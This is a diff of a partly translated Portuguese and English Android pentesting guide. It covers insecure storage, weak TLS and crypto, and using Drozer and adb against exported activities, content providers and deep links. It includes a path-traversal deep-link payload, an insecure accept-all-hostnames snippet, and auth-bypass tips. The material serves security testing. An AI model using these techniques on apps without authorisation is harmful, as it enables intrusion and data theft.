Se sua aplicação precisa recuperar arquivos executáveis de external storage, certifique-se de que esses arquivos estejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Essa etapa é vital para manter a integridade de segurança da sua aplicação. +- Dada a facilidade de acesso, é aconselhável **não armazenar informações sensíveis** no armazenamento externo. +- O armazenamento externo pode ser removido ou acessado por qualquer aplicação, tornando-o menos seguro. +3. **Tratamento de Dados do Armazenamento Externo**: +- Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados são de uma fonte não confiável. +- Armazenar executáveis ou arquivos de classe no armazenamento externo para carregamento dinâmico é fortemente desencorajado. +- Se sua aplicação precisa recuperar arquivos executáveis do armazenamento externo, assegure que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Esse passo é vital para manter a integridade de segurança da sua aplicação. External storage pode ser **acessado** em `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] -> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretórios que **limita o acesso de um app ao diretório que é especificamente daquele app**. Isso evita que uma malicious application obtenha acesso de leitura ou escrita aos arquivos de outro app. +> A partir do Android 4.4 (**API 17**), o SD card possui uma estrutura de diretórios que **limita o acesso de uma app ao diretório específico daquela app**. Isso evita que aplicações maliciosas obtenham acesso de leitura ou escrita aos arquivos de outra app. -**Sensitive data stored in clear-text** +**Dados sensíveis armazenados em texto claro** -- **Shared preferences**: O Android permite que cada aplicação salve facilmente arquivos xml no caminho `/data/data//shared_prefs/` e às vezes é possível encontrar informações sensíveis em clear-text nessa pasta. -- **Databases**: O Android permite que cada aplicação salve facilmente bancos sqlite no caminho `/data/data//databases/` e às vezes é possível encontrar informações sensíveis em clear-text nessa pasta. +- **Shared preferences**: O Android permite que cada aplicação salve facilmente arquivos xml no caminho `/data/data//shared_prefs/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta. +- **Databases**: O Android permite que cada aplicação salve facilmente bancos sqlite no caminho `/data/data//databases/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta. ### Broken TLS **Accept All Certificates** -Por algum motivo, às vezes desenvolvedores aceitam todos os certificados mesmo se, por exemplo, o hostname não corresponder, com linhas de código como a seguinte: +Por algum motivo, às vezes desenvolvedores aceitam todos os certificados mesmo que, por exemplo, o hostname não corresponda, com linhas de código como a seguinte: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. +Uma boa maneira de testar isso é tentar capturar o tráfego usando um proxy como Burp sem autorizar o Burp CA dentro do dispositivo. Além disso, você pode gerar com Burp um certificado para um hostname diferente e usá-lo. ### Criptografia quebrada -**Poor Key Management Processes** +**Processos de gerenciamento de chaves deficientes** -Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os encriptam com uma chave hardcoded/predictable no código. Isso não deveria ser feito, pois algum reversing poderia permitir que atacantes extraiam a informação confidencial. +Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave hardcoded/predictable no código. Isso não deve ser feito, pois alguma engenharia reversa pode permitir que atacantes extraiam a informação confidencial. -**Use of Insecure and/or Deprecated Algorithms** +**Uso de algoritmos inseguros e/ou depreciados** -Desenvolvedores não deveriam usar **deprecated algorithms** para realizar **authorisation checks**, **store** ou **send** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas por exemplo, hashes brute-force **resistant** deveriam ser usados com salt. +Desenvolvedores não devem usar **deprecated algorithms** para realizar authorisation **checks**, **store** ou **send** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes brute-force **resistant** com salt. ### Outras verificações -- É recomendado **obfuscar o APK** para dificultar o trabalho de reverse engineering dos atacantes. -- Se o app for sensível (como apps bancários), ele deveria executar suas **próprias verificações para ver se o mobile está rootado** e agir em consequência. -- Se o app for sensível (como apps bancários), ele deveria checar se um **emulador** está sendo usado. -- Se o app for sensível (como apps bancários), ele deveria **verificar sua própria integridade antes de executar** para checar se foi modificado. +- É recomendado **obfuscate the APK** para dificultar o trabalho de reverse engineer aos atacantes. +- Se o app for sensível (como apps bancários), deve perform it's **own checks to see if the mobile is rooted** e agir em consequência. +- Se o app for sensível (como apps bancários), deve verificar se um **emulator** está sendo usado. +- Se o app for sensível (como apps bancários), deve **check it's own integrity before executing** para verificar se foi modificado. - Use [**APKiD**](https://github.com/rednaga/APKiD) para verificar qual compiler/packer/obfuscator foi usado para construir o APK ### React Native Application -Leia a seguinte página para aprender como acessar facilmente o código javascript de aplicações React: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} @@ -188,7 +188,7 @@ react-native-application.md ### Xamarin Applications -Leia a página seguinte para aprender como acessar facilmente o código C# de aplicações Xamarin: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} @@ -197,17 +197,17 @@ Leia a página seguinte para aprender como acessar facilmente o código C# de ap ### Superpacked Applications -According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. O blog trata da possibilidade de criar um app que descomprima esse tipo de apps... e de uma forma mais rápida que envolve executar a aplicação e recolher os ficheiros descomprimidos do sistema de arquivos. ### Automated Static Code Analysis -A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilities** ao **scan** do **code** da aplicação. Essa ferramenta contém uma série de **known sources** (que indica ao tool os **lugares** onde o **input** é **controlled by the user**), **sinks** (que indica ao tool **dangerous** **places** onde input malicioso do usuário poderia causar danos) e **rules**. Essas rules indicam a **combination** de **sources-sinks** que indicam uma vulnerability. +A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **scan** do **código** da aplicação. Esta ferramenta contém uma série de **known sources** (que indicam ao tool os **lugares** onde a **input** é **controlled by the user**), **sinks** (que indicam ao tool **lugares perigosos** onde entrada maliciosa do usuário poderia causar danos) e **rules**. Essas regras indicam a **combinação** de **sources-sinks** que aponta uma vulnerabilidade. -Com esse conhecimento, **mariana-trench vai revisar o código e encontrar possíveis vulnerabilities nele**. +Com esse conhecimento, **mariana-trench irá revisar o código e encontrar possíveis vulnerabilidades nele**. ### Secrets leaked -An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +Uma aplicação pode conter secrets (API keys, passwords, hidden urls, subdomains...) em seu interior que você pode conseguir descobrir. Você pode usar uma ferramenta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,12 +216,12 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains bypass-biometric-authentication-android.md {{#endref}} -### Outras funções interessantes +### Other interesting functions - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` -- **Native functions** declaradas como `native`: `public native, System.loadLibrary, System.load` -- [Leia isto para aprender **como reverter native functions**](reversing-native-libraries.md) +- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` +- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) ### **Other tricks** @@ -236,23 +236,23 @@ content-protocol.md ## Análise Dinâmica -> Primeiro, você precisa de um ambiente onde possa instalar a aplicação e todo o ambiente (Burp CA cert, Drozer and Frida mainly). Portanto, um dispositivo rootado (emulado ou não) é extremamente recomendado. +> Primeiro de tudo, você precisa de um ambiente onde possa instalar a aplicação e todo o ambiente (Burp CA cert, Drozer and Frida principalmente). Portanto, um dispositivo rooted (emulado ou não) é fortemente recomendado. -### Análise dinâmica online +### Online Dynamic analysis -Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Essa plataforma permite **upload** e **execução** de APKs, então é útil para ver como um apk está se comportando. +Você pode criar uma **free account** em: [https://appetize.io/](https://appetize.io). Esta plataforma permite que você **upload** e **execute** APKs, então é útil para ver como um apk está se comportando. -Você pode até **ver os logs da sua aplicação** na web e conectar via **adb**. +Você pode até **ver os logs da sua aplicação** na web e conectar-se através de **adb**. ![](<../../images/image (831).png>) Graças à conexão ADB você pode usar **Drozer** e **Frida** dentro dos emuladores. -### Análise dinâmica local +### Local Dynamic Analysis -#### Usando um emulador +#### Using an emulator -- [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** sem precisar de um emulador arm lento). - Aprenda a configurá-lo nesta página: @@ -260,30 +260,30 @@ Graças à conexão ADB você pode usar **Drozer** e **Frida** dentro dos emulad avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Personal Edition, é necessário criar uma conta. _É recomendado **download** da versão **WITH** _**VirtualBox** para evitar potenciais erros._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, você precisa criar uma conta. _É recomendado **download** a versão **WITH** _**VirtualBox** para evitar potenciais erros._) - [**Nox**](https://es.bignox.com) (Gratuito, mas não suporta Frida ou Drozer). > [!TIP] -> Ao criar um novo emulador em qualquer plataforma lembre-se que quanto maior a tela, mais lento o emulador irá rodar. Então selecione telas pequenas se possível. +> Ao criar um novo emulador em qualquer plataforma, lembre-se de que quanto maior a tela, mais lento o emulador irá rodar. Portanto, selecione telas pequenas se possível. -Para **instalar google services** (como AppStore) no Genymotion você precisa clicar no botão marcado em vermelho da imagem seguinte: +Para **instalar google services** (como AppStore) no Genymotion você precisa clicar no botão marcado em vermelho na imagem a seguir: ![](<../../images/image (277).png>) -Além disso, note que na **configuração da VM Android no Genymotion** você pode selecionar **Bridge Network mode** (isso será útil se você for conectar à VM Android a partir de uma VM diferente com as ferramentas). +Também, note que na **configuração da VM Android no Genymotion** você pode selecionar **Bridge Network mode** (isso será útil se você for conectar na Android VM a partir de uma VM diferente com as ferramentas). -#### Use um dispositivo físico +#### Use a physical device -Você precisa ativar as opções de **debugging** e seria bom se você puder **rootear**: +Você precisa ativar as opções de **debugging** e será bom se você puder **root** o dispositivo: 1. **Settings**. -2. (FromAndroid 8.0) Selecione **System**. -3. Selecione **About phone**. -4. Pressione **Build number** 7 vezes. +2. (FromAndroid 8.0) Select **System**. +3. Select **About phone**. +4. Press **Build number** 7 times. 5. Volte e você encontrará as **Developer options**. -> Uma vez que você tenha instalado a aplicação, a primeira coisa que deveria fazer é testá-la e investigar o que ela faz, como funciona e ficar confortável com ela.\ -> Sugiro **realizar essa análise dinâmica inicial usando MobSF dynamic analysis + pidcat**, assim seremos capazes de **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde. +> Uma vez que você tenha instalado a aplicação, a primeira coisa que deve fazer é testá-la e investigar o que ela faz, como funciona e familiarizar-se com ela.\ +> Sugiro realizar esta análise dinâmica inicial usando MobSF dynamic analysis + pidcat, assim poderemos **learn how the application works** enquanto o MobSF **captures** muitos dados **interessantes** que você poderá revisar posteriormente. Magisk/Zygisk quick notes (recommended on Pixel devices) - Patch boot.img with the Magisk app and flash via fastboot to get systemless root @@ -291,104 +291,102 @@ Magisk/Zygisk quick notes (recommended on Pixel devices) - Keep original boot.img to recover from OTA updates; re-patch after each OTA - For screen mirroring, use scrcpy on the host - - -### Vazamento não intencional de dados +### Unintended Data Leakage **Logging** -Desenvolvedores devem ter cautela ao expor **debugging information** publicamente, pois isso pode levar a sensitive data leaks. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar logs da aplicação e identificar/proteger informações sensíveis. **Pidcat** é preferida por sua facilidade de uso e legibilidade. +Desenvolvedores devem ter cuidado ao expor **debugging information** publicamente, pois isso pode levar a leaks de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs da aplicação e identificar e proteger informações sensíveis. **Pidcat** é preferida por sua facilidade de uso e legibilidade. > [!WARNING] -> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ -> Anyway, it's still recommended to **not log sensitive information**. +> Note que a partir de **later newer than Android 4.0**, **applications are only able to access their own logs**. Então aplicações não podem acessar os logs de outras apps.\ +> De qualquer forma, ainda é recomendado **não logar informação sensível**. **Copy/Paste Buffer Caching** -O framework **clipboard-based** do Android permite a funcionalidade de copiar/colar em apps, contudo apresenta risco já que **outras aplicações** podem **access** o clipboard, expondo potencialmente dados sensíveis. É crucial **desabilitar funções de copy/paste** para seções sensíveis da aplicação, como detalhes de cartão de crédito, para prevenir data leaks. +A framework baseada em **clipboard** do Android permite a funcionalidade de copiar/colar em apps, mas representa um risco já que **other applications** podem **access** a clipboard, potencialmente expondo dados sensíveis. É crucial **disable copy/paste** em seções sensíveis de uma aplicação, como dados de cartão de crédito, para prevenir leaks de dados. **Crash Logs** -Se uma aplicação **crasha** e **salva logs**, esses logs podem ajudar atacantes, particularmente quando a aplicação não pode ser reverse-engineered. Para mitigar esse risco, evite logar em crashes e, se logs precisarem ser transmitidos pela rede, garanta que sejam enviados via canal SSL para segurança. +Se uma aplicação **crasha** e **salva logs**, esses logs podem auxiliar atacantes, especialmente quando a aplicação não pode ser reverse-engineered. Para mitigar esse risco, evite logar em crashes, e se logs precisarem ser transmitidos pela rede, assegure que sejam enviados via um canal SSL para segurança. Como pentester, **tente dar uma olhada nesses logs**. **Analytics Data Sent To 3rd Parties** -Aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **leak sensitive data** devido à implementação imprópria por desenvolvedores. Para identificar possíveis vazamentos, é aconselhável **interceptar o tráfego da aplicação** e checar por qualquer informação sensível sendo enviada para serviços de terceiros. +Aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **leak sensitive data** devido à implementação inadequada por parte dos desenvolvedores. Para identificar possíveis vazamentos, é aconselhável **interceptar o tráfego da aplicação** e checar por qualquer informação sensível sendo enviada a serviços de terceiros. ### SQLite DBs -A maioria das aplicações irá usar **internal SQLite databases** para salvar informação. Durante o pentest dê uma **olhada** nos **databases** criados, nos nomes de **tables** e **columns** e em todos os **dados** salvos pois você pode encontrar **informação sensível** (o que seria uma vulnerability).\ -Databases devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases` +A maioria das aplicações irá usar **internal SQLite databases** para salvar informações. Durante o pentest, dê uma **olhada** nos **databases** criados, nos nomes de **tables** e **columns** e em todos os **data** salvos porque você pode encontrar **informações sensíveis** (o que constituiria uma vulnerability).\ +Os databases devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases` -Se o database está salvando informação confidencial e está **encrypted b**ut você pode **find** a **password** dentro da aplicação, isso ainda é uma **vulnerability**. +Se o database está salvando informação confidencial e está **encrypted** mas você consegue **find** a **password** dentro da aplicação, isso ainda é uma **vulnerability**. -Enumere as tabelas usando `.tables` e enumere as colunas das tabelas usando `.schema ` +Enumere as tabelas usando `.tables` e enumere as colunas das tabelas com `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um app Android** e interaja com outros apps. Ele pode fazer **anything that an installed application can do**, como fazer uso do Android’s Inter-Process Communication (IPC) mechanism e interagir com o sistema operacional subjacente. .\ -Drozer é uma ferramenta útil para **explorar exported activities, exported services and Content Providers** como você aprenderá nas seções seguintes. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer é uma ferramenta útil para **exploit exported activities, exported services and Content Providers** como você aprenderá nas seções seguintes. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Lembre-se também que o código de uma activity começa no método **`onCreate`**. +Também lembre-se que o código de uma activity começa no método **`onCreate`**. **Authorisation bypass** -Quando uma Activity é exportada você pode invocar sua tela a partir de um app externo. Portanto, se uma activity com **informação sensível** está **exported** você poderia **bypass** os mecanismos de **authentication** **to access it.** +Quando uma Activity está exportada você pode invocar sua tela a partir de um app externo. Portanto, se uma activity com **informação sensível** estiver **exported** você poderia **bypass** os mecanismos de **authentication** **to access it.** [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Você também pode iniciar uma activity exportada via adb: +Você também pode iniciar uma activity exportada a partir do adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTA**: MobSF vai detectar como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma activity, mas devido a [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (API versions < 21). +**NOTE**: MobSF vai detectar como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma activity, mas devido a [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (API versions < 21). > [!TIP] -> Note que um bypass de autorização nem sempre é uma vulnerabilidade; depende de como o bypass funciona e qual informação é exposta. +> Note que um authorisation bypass nem sempre é uma vulnerabilidade; isso depende de como o bypass funciona e quais informações são expostas. -**Sensitive information leakage** +**Vazamento de informações sensíveis** -**Activities também podem retornar resultados**. Se conseguir encontrar uma activity exportada e desprotegida que chama o método **`setResult`** e **retorna informações sensíveis**, há uma sensitive information leakage. +Activities também podem retornar resultados. Se você conseguir encontrar uma activity exportada e desprotegida que chama o método **`setResult`** e retorna informações sensíveis, há um vazamento de informações sensíveis. #### Tapjacking -Se o Tapjacking não for prevenido, você pode abusar da activity exportada para fazer o **usuário executar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking — siga o link**](#tapjacking). +Se o tapjacking não for prevenido, você pode abusar da activity exportada para fazer o usuário executar ações inesperadas. For more info about [**what is Tapjacking follow the link**](#tapjacking). -### Explorando Content Providers - Acessando e manipulando informações sensíveis +### Exploiting Content Providers - Acessando e manipulando informações sensíveis -[**Leia isto se quiser relembrar o que é um Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers são basicamente usados para **compartilhar dados**. Se um app possui content providers disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **SQL injections** e **Path Traversals**, pois podem ser vulneráveis. +[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ +Content providers são basicamente usados para **compartilhar dados**. Se um app tiver content providers disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **SQL injections** e **Path Traversals**, pois eles podem ser vulneráveis. -[**Aprenda como explorar Content Providers com Drozer.**](drozer-tutorial/index.html#content-providers) +[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) -### **Explorando Services** +### **Exploiting Services** -[**Leia isto se quiser relembrar o que é um Service.**](android-applications-basics.md#services)\ -Lembre que as ações de um Service começam no método `onStartCommand`. +[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ +Lembre-se que as ações de um Service começam no método `onStartCommand`. -Um Service é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Logo, se um aplicativo estiver exportando alguns services você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, burlar medidas de autenticação...\ -[**Aprenda como explorar Services com Drozer.**](drozer-tutorial/index.html#services) +Um Service é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se uma aplicação está exportando alguns services você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\ +[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) -### **Explorando Broadcast Receivers** +### **Exploiting Broadcast Receivers** -[**Leia isto se quiser relembrar o que é um Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Lembre que as ações de um Broadcast Receiver começam no método `onReceive`. +[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ +Lembre-se que as ações de um Broadcast Receiver começam no método `onReceive`. -Um broadcast receiver ficará esperando por um tipo de mensagem. Dependendo de como o receiver lida com a mensagem, ele pode ser vulnerável.\ -[**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers) +Um broadcast receiver ficará aguardando um tipo de mensagem. Dependendo de como o receiver trata a mensagem, ele pode ser vulnerável.\ +[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) -### **Explorando Schemes / Deep links** +### **Exploiting Schemes / Deep links** Você pode procurar por deep links manualmente, usando ferramentas como MobSF ou scripts como [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Você pode **abrir** um **scheme** declarado usando **adb** ou um **browser**: +Você pode **abrir** um **scheme** declarado usando **adb** ou um **navegador**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` @@ -401,48 +399,48 @@ _Observe que você pode **omitir o nome do pacote** e o dispositivo móvel chama ``` **Código executado** -Para encontrar o **código que será executado no App**, vá para a activity chamada pelo deeplink e procure a função **`onNewIntent`**. +Para encontrar o **código que será executado no App**, vá para a activity chamada pelo deep link e procure a função **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) **Informação sensível** -Sempre que encontrar um deeplink verifique que **ele não está recebendo dados sensíveis (como senhas) via parâmetros de URL**, porque qualquer outra aplicação poderia **se passar pelo deeplink e roubar esses dados!** +Sempre que encontrar um deep link verifique se **ele não está recebendo dados sensíveis (como passwords) via parâmetros da URL**, porque qualquer outra aplicação poderia **se passar pelo deep link e roubar esses dados!** **Parâmetros no path** -Você **deve também verificar se algum deeplink está usando um parâmetro dentro do path** da URL como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar um path traversal acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ -Note que se você encontrar os endpoints corretos dentro da aplicação você pode ser capaz de causar um **Open Redirect** (se parte do path for usada como domain name), **account takeover** (se você conseguir modificar os detalhes dos usuários sem token CSRF e o vuln endpoint usar o método correto) e qualquer outra vuln. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/). +Você **também deve verificar se algum deep link está usando um parâmetro dentro do path** da URL, por exemplo: `https://api.example.com/v1/users/{username}`. Nesse caso você pode forçar um path traversal acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Note que se você encontrar os endpoints corretos dentro da aplicação pode ser capaz de causar um **Open Redirect** (se parte do path for usada como nome de domínio), **account takeover** (se você conseguir modificar detalhes de usuários sem CSRF token e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/). **Mais exemplos** -Um [interesting bug bounty report](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_). +Um [relatório de bug bounty interessante](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_). -### Inspeção da Camada de Transporte e Falhas de Verificação +### Inspeção da camada de transporte e falhas de verificação -- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data. -- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities. +- **Certificados nem sempre são inspecionados corretamente** por aplicações Android. É comum que essas aplicações ignorem avisos e aceitem certificados autoassinados ou, em algumas instâncias, revertam para conexões HTTP. +- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando conjuntos de cifras inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques MITM, permitindo que atacantes decifrem os dados. +- **Leakage of private information** é um risco quando aplicações se autenticam usando canais seguros mas depois se comunicam por canais não seguros para outras transações. Essa abordagem não protege dados sensíveis, como cookies de sessão ou detalhes de usuários, contra interceptação por entidades maliciosas. -#### Verificação de Certificado +#### Certificate Verification -Vamos focar na **verificação de certificados**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem representar riscos significativos. Para passos detalhados sobre verificar certificados de servidor e tratar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientação abrangente. +Vamos focar na **verificação do certificado**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem representar riscos significativos. Para passos detalhados sobre verificação de certificados de servidor e correção de vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientação abrangente. #### SSL Pinning -SSL Pinning é uma medida de segurança onde a aplicação verifica o certificado do servidor contra uma cópia conhecida armazenada dentro da própria aplicação. Esse método é essencial para prevenir ataques MITM. Recomenda-se fortemente implementar SSL Pinning em aplicações que lidam com informações sensíveis. +SSL Pinning é uma medida de segurança onde a aplicação verifica o certificado do servidor contra uma cópia conhecida armazenada dentro da própria aplicação. Esse método é essencial para prevenir ataques MITM. Implementar SSL Pinning é fortemente recomendado para aplicações que lidam com informação sensível. -#### Inspeção de Tráfego +#### Traffic Inspection -Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (por exemplo, Burp). Sem instalar esse certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA customizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Para inspecionar tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (por exemplo, Burp). Sem instalar este certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA customizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Aplicações targeting **API Level 24 and above** requerem modificações no Network Security Config para aceitar o certificado CA do proxy. Este passo é crítico para inspecionar tráfego criptografado. Para instruções sobre modificar o Network Security Config, [**consulte este tutorial**](make-apk-accept-ca-certificate.md). +Aplicações com target em **API Level 24 and above** requerem modificações no Network Security Config para aceitar o certificado CA do proxy. Esta etapa é crítica para inspecionar tráfego criptografado. Para instruções sobre como modificar o Network Security Config, [**consulte este tutorial**](make-apk-accept-ca-certificate.md). -Se **Flutter** estiver sendo usado você precisa seguir as instruções em [**esta página**](flutter.md). Isso porque apenas adicionar o certificado ao store não funcionará, já que o Flutter tem sua própria lista de CAs válidas. +Se **Flutter** está sendo usado você precisa seguir as instruções em [**esta página**](flutter.md). Isso acontece porque apenas adicionar o certificado ao store não funcionará, já que Flutter tem sua própria lista de CAs válidas. -#### Detecção estática de SSL/TLS pinning +#### Static detection of SSL/TLS pinning -Antes de tentar bypasses em runtime, mapeie rapidamente onde o pinning é aplicado no APK. A descoberta estática ajuda a planejar hooks/patches e focar nos caminhos de código corretos. +Antes de tentar bypasses em runtime, mapeie rapidamente onde o pinning é aplicado no APK. A descoberta estática ajuda a planejar hooks/patches e a focar nos caminhos de código corretos. Tool: SSLPinDetect - Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. @@ -450,7 +448,7 @@ Tool: SSLPinDetect - Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. Install -- Prereqs: Python >= 3.8, Java on PATH, apktool +- Pré-requisitos: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -465,7 +463,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` Exemplo de regras de padrão (JSON) -Use ou estenda as signatures para detectar estilos proprietários/custom de pinning. Você pode carregar seu próprio JSON e realizar scan em larga escala. +Use ou estenda signatures para detectar estilos de pinning proprietários/custom. Você pode carregar seu próprio JSON e scan em grande escala. ```json { "OkHttp Certificate Pinning": [ @@ -479,53 +477,53 @@ Use ou estenda as signatures para detectar estilos proprietários/custom de pinn ] } ``` -Notas e dicas -- Escaneamento rápido em apps grandes via multi-threading e I/O mapeado em memória; regex pré-compilado reduz overhead/falsos positivos. +Notes and tips +- Escaneamento rápido em apps grandes via 